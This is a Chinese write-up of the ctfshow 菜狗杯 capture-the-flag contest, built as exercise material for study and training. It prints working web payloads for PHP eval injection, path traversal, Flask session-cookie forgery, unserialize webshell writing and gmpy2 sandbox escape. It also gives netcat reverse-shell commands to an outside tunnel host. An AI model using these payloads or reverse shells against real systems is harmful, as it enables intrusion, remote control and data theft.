ctfshow 菜狗杯wp
ctfshow 菜狗杯 wp
果然菜狗杯是教育我们是菜狗的,我是从第二天开始做的,这里只做了一个上午,因为下午网没了,做不了,做出来的有点少。。。社工也做出来挺多但是感觉社工的wp感觉就没有啥必要写了
目录
misc
签到题
直接放到winhex中,搜索ctf直接得到flag
损坏的压缩包
这个直接分离就可以,给你一个图片,上面就是flag
web
web签到
就说忘记了啥,这个忘记补了
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
这个是代码,这里题目要注意,他正常是无法正常接受中文的,我们要对他进行url编码才能使用,群=%E7%BE%A4,这个其实有的像套娃的。
我们cookie传CTFshow-QQ%E7%BE%A4:=a这时候就可以看做。
eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);
这时候post传a=b,这时候就是
eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);
像这样一个一个传最后通过下标传入。
payload: GET传:?b=d&d[6][0][7][5][8][0][9][4][4]=system('cat /f*');
POST传:a=b
cookie传:CTFshow-QQ%E7%BE%A4:=a
web2 c0me_t0_s1gn
f12打开控制台
这里已经提示了,我们输入这个方法
这里得到了一半flag
然后跟踪过去看到了另一半flag
好了解决了
我的眼里只有$
<?php
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
extract的作用相当于是,你传入a=2,则$a=2。
我原本的思路是绕过这么多$,执行别的语句,列如
这个在本地尝试是可以执行的,但是传入_=a||system("dir")却是不行。。
所以就使用正常方法吧
传入_=a&a=b&...............e=eval($_GET[1]);这样往下一直到36个,因为$有36个
可以使用python自带的len函数获取长度
不过这种推荐写脚本不建议手搞,容易乱还慢
python脚本
a = ""
b = "_"
for i in range(36):
i = i+1
a += b*i+"="+b*(i+1)+"&"
if i == 36:
a = a+b*i+"=eval($_GET[1]);"
print(a)
php脚本 这个是官方wp的
<?php
$str="_=__";
$res="";
echo "_=__&";
for ($i=0; $i < 34; $i++) {
$str="_".$str."_";
echo $str."&";
if ($i==33) {
echo explode("=", $str)[1]."=eval(\$_GET[1]);";
}
}
抽老婆
这个有一些flask框架的应该都能做出来
这里有下载我们要注意
f12这里我们可以知道他是使用file这个参数下载的,我们可以修改一下看看是否存在一些漏洞
/download?file=/../../../../etc/passwd
这里发现存在任意下载漏洞的
再进一步我们尝试下载flag看看
这里应该是进行了过滤
这里我们让他报错一下,看到这里感觉应该是flask框架,所以我们去下载app.py,这个应该是他主要的源码,通常app.py都是在app目录下的,我们往前进两个目录就可以了
/download?file=../../app.py
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/11/07 09:16
# Author :g4_simon
# version :python 3.9.7
# Description:抽老婆,哇偶~
"""
from flask import *
import os
import random
from flag import flag
#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/getwifi', methods=['GET'])
def getwifi():
session['isadmin']=False
wifi=random.choice(os.listdir('static/img'))
session['current_wifi']=wifi
return render_template('getwifi.html',wifi=wifi)
@app.route('/download', methods=['GET'])
def source():
filename=request.args.get('file')
if 'flag' in filename:
return jsonify({"msg":"你想干什么?"})
else:
return send_file('static/img/'+filename,as_attachment=True)
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=True)
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
这里我们知道可以访问/secret_path_U_never_know,然后令isadmin为true就可以了
不过从getwifi()方法我们可以知道isadmin被定义为false,这里我们看一下就知道了
然后分析cookie
这里估计是进行了加密,感觉是base64,尝试解密一下看看
flask_session_cookie的加密脚本,他上面也给了key
下面这个方法不是我那时候做出来的方法,但是感觉更正确一些,就写这一个方法了。
这里伪造cookie
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
python flask_session_cookie_manager3.py encode -t "{'isadmin':True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo!"
cookie: session=eyJpc2FkbWluIjp0cnVlfQ.Y3GCCA.kFkoRct0cSapLc4RbeUuEybgZ_M
一言既出
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
这里我们分析一下代码,通过num传入一串数字,首先要等于114514,之后经过intval函数以后要等于1919810
因为是弱等于我们可以有操作空间
这里我们使用114514+1805296,不过我们要使用url编码一下
?num=114514%2b1805296 //这个是我自己使用的
?num=114514);(19199810
不过看了出题人的wp.....
?num=114514)==1%20or%20system(%27ls%27);%23 这样也行..属实是没想到
这里我们主要用的是弱等于匹配字符就不匹配了,就匹配字符前面的数字,但是intval是全部在里面,他会进行运算的。
驷马难追
这个和上面就加了一个过滤
function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
使用?num=114514%2b1805296 就可以了
没想到自己想出来的这一个方法把两个都做了,正好是两个都可以的方法。
TapTapTap
感觉就是让你打点
开始打点的时候f12控制台这里出现了这些,我们跟踪一下
往下看发现了可疑的字符串
解密知道了flag的位置,访问得到flag
Webshell
就是一个简单的序列化
<?php
error_reporting(0);
class Webshell {
public $cmd = 'echo "Hello World!"';
public function __construct() {
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
}
else {
highlight_file(__FILE__);
}
?>
这里我们要注意的是shell_exec是没有回显的,那时候我看他进行了赋值还输出了,以为可以看到回显的,可是没有。
这里我们写一马进去看看
<?php
class Webshell{
public $cmd = 'echo "<?php eval(\$_POST[1]);?>" > 1.php';
}
echo serialize(new Webshell());
注意这里的木马是要加一个\的,因为我要对哪里进行转义,要不然写不了马,这里演示一下
这里是没有进行转义的马,他的里面是空的
这是转义的马,才是可以使用的木马
这里我们传进去
?cmd=O:8:"Webshell":1:{s:3:"cmd";s:40:"echo "<?php eval(\$_POST[1]);?>" > 1.php";}
这里访问的是出现错误的没关系的
直接用蚁剑连接
flag就在这里
化零为整
<?php
highlight_file(__FILE__);
include "flag.php";
$result='';
for ($i=1;$i<=count($_GET);$i++){
if (strlen($_GET[$i])>1){
die("你太长了!!");
}
else{
$result=$result.$_GET[$i];
}
}
if ($result ==="大牛"){
echo $flag;
}
这里我们分析一下,他这里是进行了一个判断长度的,我们一次只能传一个
我原本使用的是
?1=大&2=牛
这里显示我们 太长了!!
我就进行了一次url加密得到 %E5%A4%A7%E7%89%9B ,忘记了中文url编码后有很多字符
这里我们传url编码后的东西,不用拆的太短,%E5这种就代表一个字符了
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
这样就可以了
无一幸免
这里不知道是不是出题人的问题,只要传东西了,都直接给flag了
?0=
无一幸免_FIXED
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die("nonono!");
}
else{
die($flag);
}
}
?>
这里讲解一下,我们通过参数0传入东西,会被当做数组的索引,然后赋值为1,通过判断,我尝试使用字符或者字母,但是发现都没有用,这里猜测,是被当成ascii码了,这样子看似是永远都是真的判断,字母获得flag呢。
这里我们整理一下,字符和字符没有用,那么剩下的数字,还有什么,相信很多人都会想到整数溢出。
这个也是关于整数溢出的,没有看懂可以看下面茶歇区
这里也是要注意int64的取值范围int64 : -9223372036854775808 to 9223372036854775807
首先我们是通过get方式使用参数0传值
传入的值必须在这个范围内,这里用代码说明一下
<?php
$a = 9223372036854775807;
$b = 9223372036854775808;
echo $a;
echo "\n";
echo $b;
你会发现这里仅仅只是大了一个1而已,但是他们的输出已经是不一样了,这里我们要知道一个知识点隐式转换,什么是隐式转换,就是当就是当我们赋值的这个数超过它本身这个类型的范围,就会自动变成范围更大的类型,这里就是由整数型变成了浮点型。
//回显
9223372036854775807
9.2233720368548E+18
当然这里是说明一下,和题目也是有一丁点关系吧。
我们使用的是9223372036854775807,这里经过判断的时候,我们看看他是怎么输出的。
<?php
$a[0]=1;
echo $a[]=1;
$b[9223372036854775807]=1;
echo $b[]=1;
//回显
1
...报错...
//既然是报错,可能等于1呢
所以payload:?0=9223372036854775807 //果然回显也是有报错的
传说之下(雾)
贪吃蛇,通常这种都和分数是有关系的。
开了一把,用f12拦包没有什么东西,就直接去看看js文件了
这里我们看game.js
直接搜score,就分数
找到和分数相关的了,看看他是那个方法的
Underophidian,我们去搜一下
他在这里被调用了,所以我们直接使用Game就可以了。
这里我们要让游戏开始在搞,然后让蛇在吃到一个苹果就可以了
js不怎么会,反正我思路是这样的,哈哈
算力超群(后面补的)
拦包发现三个参数,感觉主要应该是number1和number2这两个参数
随便修改一下number2看一下
直接保存,然后我们发现应该是flask的框架,进一步推测我们可以使用一下python的东西,来进行命令执行之类的使用。
修改一下number1发现返回了Error,猜测number1是有过滤的,number2是没有过滤的,尝试直接传入命令进行执行
这里先使用的是__import__('os').system("dir");这个相当于
__import__('os').system("dir") //发现并没有执行好像
只回显了 这个,猜测是像exec函数那样执行了但是没有回显
这种我们就使用对付exec函数的方法对付他,这里我们使用花生壳创建一个公网
对应主机8085端口
然后这里先监听端口
这里传入
__import__('os').system("nc 597594c76g.goho.co 59019 -e /bin/sh")
算力升级 (后面补的)
这个是参考yu22x师傅,这个师傅很厉害的。
这里我之前有点思路,但是到拼接哪里有点断了,来师傅这里考考经。
先进去随便试试,看到旁边有点源码直接进去看看了。
这里发现他是可以传输字母的,但是必须是gmpy2库中的
code=request.form.get('code')
for item in pattern.findall(code):#从code里把单词拿出来
if not re.match(r'\d+$',item):#如果不是数字
if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
try:
result=eval(code)
我们去gmpy2库中看看
__builtins__应该是有eval的,看一下
用脚本查一下
我们看到是有eval的
但是到这里有点断了,没有想到用拼接,还是参考的yu22x师傅的
这里是利用gmpy2模块的函数进行拼接
例如这样
yu22x师傅是使用
gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])') gmpy2.__builtins__['eval'](eval(request.args["1"])) 然后用get的方式用1传输__import__('os').popen('ls').read()
官方的wp是使用
gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('c_div'[1]+'c_div'[1]+'ai'[1]+'agm'[2]+'cmp'[2]+'cos'[1]+'erf'[1]+'cot'[2]+'c_div'[1]+'c_div'[1]+"("+"'"+'cos'[1]+'cos'[2]+"'"+")"+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")") gmpy2.__builtins__['eval'](__import__('os').popen('cat /flag').read())
感觉确实官方的麻烦一点,但是官方提供了一个脚本可以供大家参考
s="__import__('os').popen('cat /flag').read()" import gmpy2 payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]](" for i in s: if i not in "/'(). ": temp_index=0 temp_string='x'*20 for j in dir(gmpy2): if j.find(i)>=0: if len(j)<len(temp_string): temp_string=j temp_index=j.find(i) payload+=f'\'{temp_string}\'[{temp_index}]+' else: payload+=f'\"{i}\"+' payload=payload[:-1]+')' print(payload)
这里我们使用的是 yu22x师傅的方法,注意传输的时候尽量不要使用burpsuite,因为它的+代表空格。
不过这里我还是喜欢用反弹shell,花生壳创建一个公网
然后我们 传输
POST: code=gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])')
GET: /tiesuanzi?1=__import__('os').system('nc 597594c76g.goho.co 59019 -e /bin/sh')
当然这里不喜欢反弹shell,也可以直接使用__import__('os').popen('cat /flag').read()
easyPytHon_P
有点后悔为什么没有看这一题,挺简单的没有做
from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
try:
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
print('Done!')
except subprocess.TimeoutExpired:
print('Timeout!')
except:
print('Error!')
else:
print('No Flag!')
这里主要的地方就是
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
因为subprocess模块我没有接触过去查了一下
这样子,详细大家就比较清楚了,这里可控的参数有cmd和param
注意这里request.form.get,虽然显示是get,但是它并不是get方式传输,是用post传输的
cmd=ls¶m=/ //发现根目录中并没有flag
cmd=ls¶m=. //查看当前目录发现了flag.txt
cmd=cat¶m=flag.txt //得到flag
遍地飘零
<?php
include "flag.php";
highlight_file(__FILE__);
$zeros="000000000000000000000000000000";
foreach($_GET as $key => $value){
$$key=$$value;
}
if ($flag=="000000000000000000000000000000"){
echo "好多零";
}else{
echo "没有零,仔细看看输入有什么问题吧";
var_dump($_GET);
}
没有零,仔细看看输入有什么问题吧array(0) { }
确实是简单的变量覆盖
这里我们可以自己搭一个环境看一下
我们这里发现$_GET只是输出一个数组,但是我们可以简单的想一想,$_GET也有变量符号呀,我们为什么不能吧$_GET当一个变量呢,而不是一种传输的手段。
这里我们本地环境在测试一下。
好了这里输出flag了,题目环境也是可以的
?_GET=flag
茶歇区
这个说实在,我到现在一直还是有一些懵
首先关于整数溢出的漏洞我们要知道这些
uint8: 0 to 255
uint16 : 0 to 65535
uint32 : 0 to 4294967295
uint64 : 0 to 18446744073709551615
int8: -128 to 127
int16 : -32768 to 32767
int32 : -2147483648 to 2147483647
int64 : -9223372036854775808 to 9223372036854775807
通常我们接触的都是int64,这次应该也是因为这里显示就是int64最大值
为什么有些表示我输入已经大于9223372036854775807,很多了呀,为什么还是0,这种整数溢出的题目,我接触的其实是比较少的,反正我的理解就是数这个位数的,就是19位的数字,不能太大了,这时候有人问了,我输了19位的比他大为什么还是不行,因为他是*10的我们输入一个18位数就可以了,例如932337203685477580、942337203685477582都可以,记住要输两次就可以了
其他可能是因为,*1导致溢出不了
那个*3也是可以的,只要*3之后大于9223372036854775807就可以了,列如3333333333333333333 都可以
注意:都要输两次
小舔田?
很简单的pop链,甚至所有东西都帮你触发好了。。。
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}
if (isset($_GET['code'])){
unserialize($_GET['code']);
}else{
$a=new Ion_Fan_Princess();
echo $a;
}
以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家牛夫人。 你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊! ----牛夫人
我们先看头,是以get方式通过code传入,再看尾在Ion_Fan_Princess类中,call方法中,我只要修改nickname为小甜甜就可以了,然后找一找,call需要下面toString方法触发,然后看看那里可以触发toString,我们发现Moon类中可以触发,然后Moon类中的方法,使用unserialize就可以触发。。。
真的只要稍微改一下东西就可以了,真的感觉出题人好辛苦
<?php
class Moon{
public $name="月亮";
public function __construct(){
$this -> name = new Ion_Fan_Princess();
}
}
class Ion_Fan_Princess{
public $nickname="小甜甜";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo "1";
}else{
echo "2";
}
}
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}
$a = new Moon();
echo serialize($a);
?code=O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}
LSB探姬(后面补的)
这里我们先看源码,主要的地方在这里
f = request.files['file']
f.save('upload/'+f.filename)
cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()
data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
return jsonify(data)
他是会运行这个命令的随便传一个拦一下包看一下
这里是执行了ls,我们直接cat flag
Is_Not_Obfuscate
真的是慢慢补,又忘记了写了。。。
这里我们进来就看到这个,但是经过尝试使用数字字母之类,都没有用,这里看看源代码。
这里提示让我们提交一个串加密的代码,然后这里我们看到了,两个文件lib.php和robots.txt。
这里访问lib.php但是没有成功,但是访问robots.txt,我们发现了。
这里访问/lib.php?flag=0,但是得到一片空白,但是0是什么,经常做题的,肯定会想到false,这里我们使用1,1其实也是代表true,访问/lib.php?flag=1,得到一串代码。
eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT
这里我们得到这样一串加密后的东西,但是不知道是什么,看似是有一些像base64的,但是这里想起来上面他们是可以通过input传入一串加密的字符串的,在主页面拦包或者使用hackber的时候,就会发现他有三个参数,action、input、output,这里我们通过input传进去发现没有东西,修改其他参数的时候,反弹回来了hacker。
这时候就有一些懵逼了,之后去查看了官方的wp,额,action要设置成test,这个怎么说,真的就靠猜吗。。。。
然后我们得到了源代码。
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
@mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
echo 'Anything is good?Please test it.';
@eval(decode($_GET['input']));
}
ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
switch ($_GET['action']){
case 'pull':
$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
echo "pull success";
break;
case 'push':
$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
echo "push success";
break;
default:
die('hacker!');
}
}
这里我们分析一下
主要是看下嘛,因为他是有可以执行恶意代码的地方的,通过观察这里当action为push的时候这里会将传入的东西进行加密,然后写入一个文件,文件就是加密名。
加密就是例如这样我们要执行system("ls"); 然后加密就是这样解密的
echo md5('system("ls");'.'youyou');
然后为pull的时候就会解密里面的内容然后执行恶意代码,获得flag。
通过不懈的努力,我最终选择了写脚本。。。因为手搞有点乱了。。。
import requests
import hashlib
import re
def getflag(comant):
payload = f"system('{comant}');"
payload_sale = hashlib.md5((payload + "youyou").encode()).hexdigest()
s = requests.session()
url = "http://c08ff946-dc88-458f-8889-5cd70375829c.challenge.ctf.show/"
# 这里要替换成自己的网址
url2 = url + f'?action=push&output={payload}'
url1 = url + f"?action=pull&input={payload_sale}"
s.get(url=url2)
a = s.get(url=url1).text
b = (re.findall('\w.*?pull', a, re.S)[0]).replace('pull', '')
print(b)
if __name__ == "__main__":
while (1):
a = input("请输入你要执行的命令:")
getflag(a)
OK,获得了flag
CRYPTO
感觉密码学前三题白送的
密码签到
唯一会做的签到题,这才是签到题呀,直接16进制转文本
Caesar
这个名字就是提示了呀,名字都是凯撒了。。
0x36d
一看就知道是那种表情包解密,然后表情包解密,他这里提示标题就是密码
但是解密失败,但是0x36d是16进制呀
使用877解密成功
@bash
感觉和buu一题还是攻防世界的一题挺像的,我们直接埃特巴什码解密
这里小写提交不了的,用python转成大写
OSINT
社工就讲一题吧,这个有jk看嘿嘿
J某的过往1
像这种图就别想着用百度识图之类的了,不过这里提示已经很多了
半次元是一个网站,可以搜到的
这个找不到我们搜索,天竹子
往下翻
有了
看看评论
哦了
更多推荐
所有评论(0)